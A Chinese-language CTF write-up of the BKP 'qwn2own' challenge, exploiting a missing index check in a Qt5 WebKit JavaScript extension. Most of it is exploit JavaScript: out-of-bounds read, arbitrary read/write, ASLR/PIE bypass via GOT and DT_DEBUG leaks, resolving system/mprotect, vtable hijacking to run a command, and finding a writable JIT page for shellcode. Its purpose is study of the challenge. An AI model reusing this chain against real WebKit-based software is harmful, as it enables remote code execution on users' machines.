BKP CTF qwn2own

最近一直在看 webkit,可是一点进展都没有,很多还是看不懂,感觉 webkit 有点复杂, 还是慢慢看吧,自信心都快没了,先入门 Javascriptcore 吧, 先看看相关的题目,后面应该还会有,只是给自己写的笔记,可能太乱。

题目介绍

The BKP Database JavasScript API allows users to store data that can be kept hidden from other users.
This allows web applications to share one web context between multiple users but yet still be able to store
sensitive information pertaining to each user and keep it secret from the others.

emmm 就是写了个 JS 的扩展。

漏洞成因

BKPStore 中的成员函数 getremovecut 的参数都是 int 型,并且在扩展实现中并未对传入的参数进行检验,当传入负数的时候会造成越界操作数据,可是后面发现 get 好像没用,看源码发现是 QVectorvalue 函数将 int 强制转换成了无符号整数。如下

1
2
3
4
5
6
7
8
template<typename T>
Q_OUTOFLINE_TEMPLATE T QVector<T>::value(int i) const
{
if (uint(i) >= uint(d->size)) {
return T();
}
return d->begin()[i];
}

下面是 BKPStore 类的定义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class BKPStore : public QObject {
Q_OBJECT
public:
BKPStore(QObject * parent = 0, const QString &name = 0, quint8 tp = 0, QVariant var = 0, qulonglong store_ping = 0);
void StoreData(QVariant v);

Q_INVOKABLE QVariant getall();
Q_INVOKABLE QVariant get(int idx);
Q_INVOKABLE int insert(unsigned int idx, QVariant var);
Q_INVOKABLE int append(QVariant var);
Q_INVOKABLE void remove(int idx);
Q_INVOKABLE void cut(int beg, int end);
Q_INVOKABLE int size();

private:
quint8 type; // specifies which type to of vector
// to use
QVector<QVariant> varvect;
QVector<qulonglong> intvect;
QVector<QString> strvect;
qulonglong store_ping;
};

remove 函数,可以看到并没有对传入的参数检测,cut 函数也是这样,并且都是调用 erase 去删除元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
void BKPStore::remove(int idx){
if(this->type == 0){
this->varvect.erase(this->varvect.begin() + idx);
}else if(this->type == 1){
this->intvect.erase(this->intvect.begin() + idx);
}else if(this->type == 2){
this->strvect.erase(this->strvect.begin() + idx);
}else{
// this doesn't happen ever
BKPException ex;
throw ex;
}
}

下面看下 erase 函数的实现,其实实现很简单,如果是静态 Vector 就在逐个删除数组中数据的同时将后面不需要删除的通过 new 重新拷贝过来,如果是非静态就直接通过析构函数删除需要被删除的,后面的直接通过 memmove 函数拷贝过来。可以看到并没有对传入的参数的合法性进行检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
template <typename T>
typename QVector<T>::iterator QVector<T>::erase(iterator abegin, iterator aend)
{
const int itemsToErase = aend - abegin;

if (!itemsToErase)
return abegin;

const int itemsUntouched = abegin - d->begin();

if (d->alloc) {
detach();
abegin = d->begin() + itemsUntouched;
aend = abegin + itemsToErase;
if (QTypeInfo<T>::isStatic) {
iterator moveBegin = abegin + itemsToErase;
iterator moveEnd = d->end();
while (moveBegin != moveEnd) {
if (QTypeInfo<T>::isComplex)
static_cast<T *>(abegin)->~T();
new (abegin++) T(*moveBegin++);
}
if (abegin < d->end()) {
// destroy rest of instances
destruct(abegin, d->end());
}
} else {
destruct(abegin, aend);
memmove(abegin, aend, (d->size - itemsToErase - itemsUntouched) * sizeof(T));
}
d->size -= itemsToErase;
}
return d->begin() + itemsUntouched;
}

Exploit

Partial OOB read

remove 中传入的参数为负数时,会将负数位置处的数据删除,在将之后的数据拷贝过来,所以会将数据前的内存破坏。

1
inline iterator erase(iterator pos) { return erase(pos, pos+1); }

下面是 QArrayData 的定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct Q_CORE_EXPORT QArrayData
{
QtPrivate::RefCount ref; //引用计数
int size; //数组大小
uint alloc : 31; //占了31位
uint capacityReserved : 1; //占了1位

qptrdiff offset; // in bytes from beginning of header 从 Array 开始到数据的偏移

void *data()
{
Q_ASSERT(size == 0
|| offset < 0 || size_t(offset) >= sizeof(QArrayData));
return reinterpret_cast<char *>(this) + offset;
}

const void *data() const
{
Q_ASSERT(size == 0
|| offset < 0 || size_t(offset) >= sizeof(QArrayData));
return reinterpret_cast<const char *>(this) + offset;
}

......
};

可以看到通过 remove(-1) 就可以改写 offset 来越界读取 Array 结构信息。如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<title>qwn2own</title>
</head>
<body>
<div id="v4kst1z"></div>
<script type="text/javascript">
var db = BKPDataBase.create("v4kst1z", "v4kst1z");
store = db.createStore("A", 1, [0, 1, 2, 3, 4, 5, 6], 0xaabb);
store.remove(-1);

var info = "";
for (var i=0;i<6;i++) {
info = info + i + " : " + store.get(i).toString(16) + "<br>";
}
document.getElementById("v4kst1z").innerHTML = info;
</script>
</body>
</html>

Snipaste_2019-01-25_20-10-44.png-44.9kB

Arbitrary R/W

QArrayData 中的 size 变量指定了数组的大小,如果修改 size 的大小,便可以绕过读写时对大小的限制。为了达到任意读写,可以通过变量 store_ping 来标记另外一个数组,方便通过标记来获得另一个 store 中的 intvect 地址,方便后面通过修改另外一个数组的 offset 来达到任意读写。其实这些都在系统的 heap 中,如果只设置一个 store,因为 store 是在之前已经在堆上创建了,所以遍历到的可能性非常小,建立两个 store 会很方便。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<html>
<head>
<title>qwn2own</title>
</head>
<body>
<div id="v4kst1z"></div>
<script type="text/javascript">
var db = BKPDataBase.create("v4kst1z", "v4kst1z");
store1 = db.createStore("A", 1, [0, 1, 2, 3, 4, 5, 6], 0xaabb);
store2 = db.createStore("B", 1, [0, 1, 2, 3, 4, 5, 6], 0xccddee);
store1.remove(-1);
store1.insert(0, 0xffffffff00000001);

var idx = -1;
for(i = 0; i < 0x100; i++) {
x = store1.get(i);
if (x == 0xccddee && (store1.get(i-1) == store1.get(i-3))) {
//strvect 和 varvect 在内存中的值相同
idx = i;
break;
}
}

if (idx == -1) {
alert("Not found, reloading...");
document.location = window.location.href;
} else {
document.getElementById("v4kst1z").innerHTML = "Found at idx " + i;
}
</script>
</body>
</html>

需要注意的是应该在用于利用的数组前创建大量数组,使后面创建的堆前后相邻,利用更时稳定,其实就是堆喷射,如果不这样做在调用读函数的时候会造成只有很小的概率成功,还是无法解释为什么如果不创建有时候没法修改 offset

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<html>
<head>
<title>qwn2own</title>
</head>
<body>
<div id="v4kst1z"></div>
<script type="text/javascript">


function read(addr) {
var offset = addr - B_vec;
store1.insert(A2B_off_idx, offset);
var x = store2.get(0);
return x;
}

function write(addr, content) {
var offset = addr - B_vec;
store1.insert(A2B_off_idx, offset);
var x = store2.insert(0, content);
return x;
}

var db = BKPDataBase.create("v4kst1z", "v4kst1z");
v4kst1z = new Array(200);
for (var i =0;i<200;i++)
v4kst1z[i] = db.createStore(i.toString(16), 1, [0, 1, 2, 3, 4, 5,6], 1234);

store1 = db.createStore("A", 1, [0, 1, 2, 3, 4, 5, 6], 0xaabbcc);
store2 = db.createStore("B", 1, [0xaa0321, 0x12345df, 2, 3, 4, 5, 6], 0xccddee);

store1.remove(-1);
store1.insert(0, 0xfffff00000001);

//后面任意读写需要修改size和offset
//store2.remove(-1); 其实不用改size 就注释了 之前想错了
//store2.insert(0, 0xfffff00000001);

var idx = -1;
B_vec = -1;
var A_vec = -1;
A2B_off_idx = - 1 ;

for (i=0;i<0x2000;i++) {
x = store1.get(i);
if (x == 0xccddee && (store1.get(i-1) == store1.get(i-3))) {
//strvect 和 varvect 在内存中的值相同
idx = i;
B_vec = store1.get(i-2);
info = "";

for(i = i - 6; i < idx + 6; i++) {
if(i == idx - 2)
B_vec_addr = "[*] Found vector2 addr: " + store1.get(i).toString(16) + "<br>";
}
if(B_vec == -1) continue;

info = info + B_vec_addr;
i = idx;
while (i++) {
if (store1.get(i) == 0xaa0321 && store1.get(i+1) == 0x12345df) {
A_vec = B_vec - (i-3)*8;
A2B_off_idx = i - 1 ;
info = info + "[*] Found vector1 addr: " + A_vec.toString(16) + "<br>";
break;
}
}
if(A_vec == -1 || A2B_off_idx == -1) continue;
break;
}
}
/*
info = info + "<br> vector1:";
for(i = 0; i < 6; i++)
info = info + store1.get(i).toString(16) + " ";
info = info + "<br> vector2:";
for(i = 0; i < 6; i++)
info = info + store2.get(i).toString(16) + " ";
*/
info = info + "<br>A2B_off_idx :" + A2B_off_idx.toString(10) + "<br>";
info = info + read(0x55cf14658000).toString(16);
document.getElementById("v4kst1z").innerHTML = info;
</script>
</body>
</html>

Snipaste_2019-01-26_12-01-09.png-199.5kB

Bypass ASLR And PIE

前面已经可以达到任意读写,并且也可以知道创建的 BKPStore 对象的信息,可以通过 leakvtable 算出 qwn2own 的加载基址。
Snipaste_2019-01-27_12-38-40.png-66kB
Snipaste_2019-01-27_12-38-28.png-97.9kB
其他库的地址可以通过 leak got 表计算出来,或者通过解析 DT_DEBUG 来得到。下面是 leak got 表实现的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
info = info + "BKPStore vetable address : " + store1.get(idx - 6).toString(16) + "<br>";
info = info + "Undefined : "+ store1.get(idx - 5).toString(16) + "<br>";
info = info + "Type and aligement : " + store1.get(idx - 4).toString(16) + "<br>";
info = info + "Varvect : " + store1.get(idx - 3).toString(16) + "<br>";
info = info + "Intvect : " + store1.get(idx - 2).toString(16) + "<br>";
info = info + "Strvect : " + store1.get(idx - 1).toString(16) + "<br>";
info = info + "Store_ping: " + store1.get(idx).toString(16) + "<br>"
var text_base = store1.get(idx -6) - 0x210400;
info = info + "Binary_base is : " + text_base.toString(16) + "<br><br>"
info = info + "Memmove address : "+ read(binary_base + 0x210bc8).toString(16) + "<br>";
var memmove_addr = read(binary_base + 0x210bc8) - 0x14d9b0;
info = info + "Libc base is : " + memmove_addr.toString(16) + "<br><br>";
info = info + "QArrayData::allocate address : "+ read(binary_base + 0x210b90).toString(16) + "<br>";
var allocate = read(binary_base + 0x210b90) - 0xa6d80;
info = info + "LibQT5core base is : " + allocate.toString(16) + "<br><br>";
info = info + "Operator new address : "+ read(binary_base + 0x210bc0).toString(16) + "<br>";
var opnew = read(binary_base + 0x210bc0) - 0x8de60;
info = info + "Libstdc++ base is : " + opnew.toString(16) + "<br><br>";

Snipaste_2019-01-27_13-55-16.png-258.9kB
其实感觉通过 DT_DEBUG 方法实现的更好些,因为后面在做解析符号段的时候可以直接提取到信息,并且不需要拿到 libc
Snipaste_2019-01-27_15-39-06.png-96.2kB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
dynamic = text_base + 0x210910; // from binary we know this offset
// let's find dt_debug
cursor = dynamic;
dt_debug_ptr = 0;
while (true) {
tag = read(cursor);
if (tag == 0x15) {
dt_debug_ptr = cursor + 0x8;
break;
}
cursor = cursor + 0x8;
}
if (dt_debug_ptr == 0x0) {
// try again
// but this should never fail
document.location.reload(true);
}
//alert(dt_debug_ptr);
dt_debug = read(dt_debug_ptr);
r_map = read(dt_debug + 0x8);
// we get a list of the mmapings and their base addresses
// by scaning the link_map
mappings_list = [];
// we use l_name to get base addresses
ld_so_base = 0;
ld_so_dynamic = 0;
libc_base = 0;
libc_dynamic = 0;
lqwk_base = 0;
lqwk_dynamic = 0;
while (true) {
if (r_map == 0x0) {
// we have reached the end
break;
}

map_base = read(r_map);
l_name = read(r_map + 0x8);
obj_name = read_str(l_name);
dt_dynamic = read(r_map + 0x10);
if (obj_name.indexOf("ld-linux") > -1) {
ld_so_base = map_base;
ld_so_dynamic = dt_dynamic;
} else if (obj_name.indexOf("libc.so") > -1) {
libc_base = map_base;
libc_dynamic = dt_dynamic;
} else if (obj_name.indexOf("Qt5WebKit.so") > -1) {
lqt5webkit_base = map_base;
lqt5webkit_dynamic = dt_dynamic;
}

r_map = read(r_map + 0x18);
mappings_list.push(map_base);
}
if (libc_base == 0) {
// try it again
document.location.reload(true);
}
info = info + "ld_so_base : " + ld_so_base.toString(16) + "; ld_so_dynamic : " + ld_so_dynamic.toString(16) + "<br>";
info = info + "libc_base : " + libc_base.toString(16) + "; libc_dynamic : " + libc_dynamic.toString(16) + "<br>";
info = info + "lqt5webkit_base : " + lqt5webkit_base.toString(16) + "; lqt5webkit_base : " + lqt5webkit_dynamic.toString(16) + "<br>";

Finding arbitrary functions in memory

因为已经得到了 libc 的基址,所以可以利用 ELF 文件的结构及动态链接过程计算出函数地址,其实就是实现 _dl_runtime_resolve 函数,类似于 CTF 里的 ret2_dl_runtime_resolve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// let's get the STRTAB and SYMTAB of
// binary
function get_dyn_entries(dyn_addr){
cursor = dyn_addr;
strtab = 0;
symtab = 0;
while(true){
tag = read(cursor);
if(tag == 0){
break;
}
if(tag == 0x5){
strtab = read(cursor + 0x8);
}else if(tag == 0x6){
symtab = read(cursor + 0x8);
}
cursor = cursor + 0x8;
}
return [strtab, symtab];
};

// let's get the dynamic entries
// of libc that we need
dyn_entries = get_dyn_entries(libc_dynamic);
libc_strtab = dyn_entries[0];
libc_symtab = dyn_entries[1];

// using strtab and symtab we can resolve
// function addresses
function resolve_func(obj_base, strtab, symtab, func_name){
idx = 0;

// scan symtab and strtab
// ELF64 sym = 192
// 32bit st_name - idx in str table
// 8bit st_info - what kind of symbol is this
// 8bit st_other - idgaf
// 16bit st_shndx - idgaf
// 64bit st_value - address of the guy
// 64bit st_size - size of symbol or zero
while(true){
cursym = symtab + idx * 24;
st_name = read(cursym) & 0xffffffff;
sym_str = read_str(strtab + st_name);
if(sym_str.indexOf(func_name) > -1){
return obj_base + read(cursym + 4 + 1 + 1 + 2);
}
idx += 1;
}
};

// let's resolve the address of system
system_addr = resolve_func(libc_base, libc_strtab, libc_symtab, "libc_system");
mprotect_addr = resolve_func(libc_base, libc_strtab, libc_symtab, "mprotect");

info = info + "<br><br>System address : " + system_addr.toString(16) + "<br>";
info = info + "Mprotect address : " + mprotect_addr.toString(16) + "<br>";

ROP

参考他人的一种思路是通过修改 vtable 和找到特定的 gadget 来执行命令,有点奇技淫巧的感觉,其实一直不大懂在所有参数都已经布置好后是怎么触发的,后面会调用 BKPStore::metaObject(void) 函数, 而之前已经构造了一个假的虚表,所以会跳转到 gadget 上。原脚本是用 target.insert(0, 1)vector 大小置为零,但是这和 BKPStore 有什么关系,我的理解是这样会使 vector 大小置为零,然后 BKPStore 会因为 vector 发生变化去调用 BKPStore::metaObject(void),好吧, 我对 QT5 一点都不懂,还有我的脚本虽然是按照他的思路写的,但因为很多地方不同,所以好像触发条件也不一样,迷

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
sig0 = "4828778b48fb";
sig1 = "53ff107f8b48";

sidx = 0;
gadget_addr = 0;

while (true) {
if ((sidx % 0x20000) == 0) {
document.write("Looking for ggt at: " + sidx.toString(16) + "<br>");
}

val0 = read(lqt5webkit_base + sidx * 8);
val0s = val0.toString(16).substring(0, 12);
sidx += 1;
if (val0s != sig0) {
continue;
}

val1 = read(lqt5webkit_base + sidx * 8);
val1s = val1.toString(16).substring(0, 12);
if (val1s == sig1) {
gadget_addr = lqt5webkit_base + (sidx - 1) * 8;
break;
}
sidx += 1;
}

if (gadget_addr == 0) {
// didn't find gadget :(
document.location.reload(true);
}

document.write("gadget_addr : " + gadget_addr.toString(16));

// overwrite vtable
// let's put our fake_vtable somewhere in the
// heap after fake_vector :|
fake_vtable = B_vec + 0x100;

cmd = "/usr/bin/gnome-calculator -e 0xb00b";
cmd_addr = fake_vtable + 0x40; // somewhere in heap
// write string to execute
for (j = 0; j < cmd.length; j++) {
write(cmd_addr + j, cmd[j].charCodeAt(0));
}
write(cmd_addr + cmd.length, 0);

// write the things
write(fake_vtable, gadget_addr); // put the gadget in vtable
found_vtable_off = B_vtable_idx;

store1.insert(found_vtable_off + 4, system_addr); // rip
store1.insert(found_vtable_off + 2, cmd_addr); // rdi
store1.insert(found_vtable_off, fake_vtable); // vtable
info = info + read(A_vec) + "<br>";

Snipaste_2019-01-27_21-36-33.png-368kB

JIT Page 写 shellcode

这种方法是通过泄露 heap 中指向 jit page 的指针来获取 native code 的地址,因为 JSArrayJSFunction 的结构已知,所以可以通过构造特定的数组来获取 jit page 的地址,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
var bab = "v4kst1z";
targeted = function(a) {
for(var i = 0; i< 10000; i++){
a = a^0x123456^0x3eeee;
a= a^0x1666456^0x3e66ee;
}
return a^0x66666;
}

_yol = new Array(20);
for (i=0;i<20;i++)
_yol[i] = bab;
_yol[13] = targeted;

func_addr = null;

......

for (var jimbo = A_vec;func_addr == null;jimbo=jimbo - 8) {
// check chunk is valid
chunksz = read(jimbo);
if (chunksz < 0x20 || (chunksz & 0xf1) != chunksz)
continue;
chunksz = chunksz - chunksz & 1;
nextsz = read(jimbo+chunksz);
if (nextsz < 0x20 || (nextsz & 0xfff1) != nextsz || (nextsz&1)!=1)
continue;

heapaddr = read(jimbo+10*8);
if ((heapaddr <= A_vec) || ((heapaddr & 0xfff) != 0))
continue;
if (heapaddr != read(jimbo + 11*8))
continue;

nbregions = read(jimbo+2*8);
regsz = read(jimbo+4*8);
heapsz = read(jimbo + 12*8);
if (nbregions != 2 || ((heapsz & 0xfff) != 0) || ((regsz & 0xfff) != 0) || heapsz == 0 || nbregions*regsz != heapsz)
continue;
// Step 3: look in that heap for our crafted array
for (i=8;i<heapsz;i+=8) {
babar = read(heapaddr + i);
if (babar < A_vec) continue;
match = true;
for (j=1;j<20;j++) {
if (((j == 13) && (read(heapaddr + i + j*8) == babar)) || ((j != 13) && (read(heapaddr + i + j*8) != babar))) {
match = false;
break;
}
}
if (match == true) {
func_addr = read(heapaddr + i + 13*8);
break;
}
}
targeted(123); // construct function's code
jit_ptr = read(func_addr + 8*3) + 8*4
jit_addr = read(jit_ptr)

document.write("heap addr : " + heapaddr.toString(16) + "<br>");
document.write("function addr : " + func_addr.toString(16));
document.write("jit addr : " + jit_addr.toString(16));
}

Snipaste_2019-02-02_11-55-41.png-204.6kB
可以看到 jit page 是可读可写可执行的,所以可以直接写 shellcode 来任意执行指令,对于不可写的 jit page 可以使用 JIT Spary 构造 JIT ROP gadget 来绕过。

参考连接

qwn2own - generic browser exploits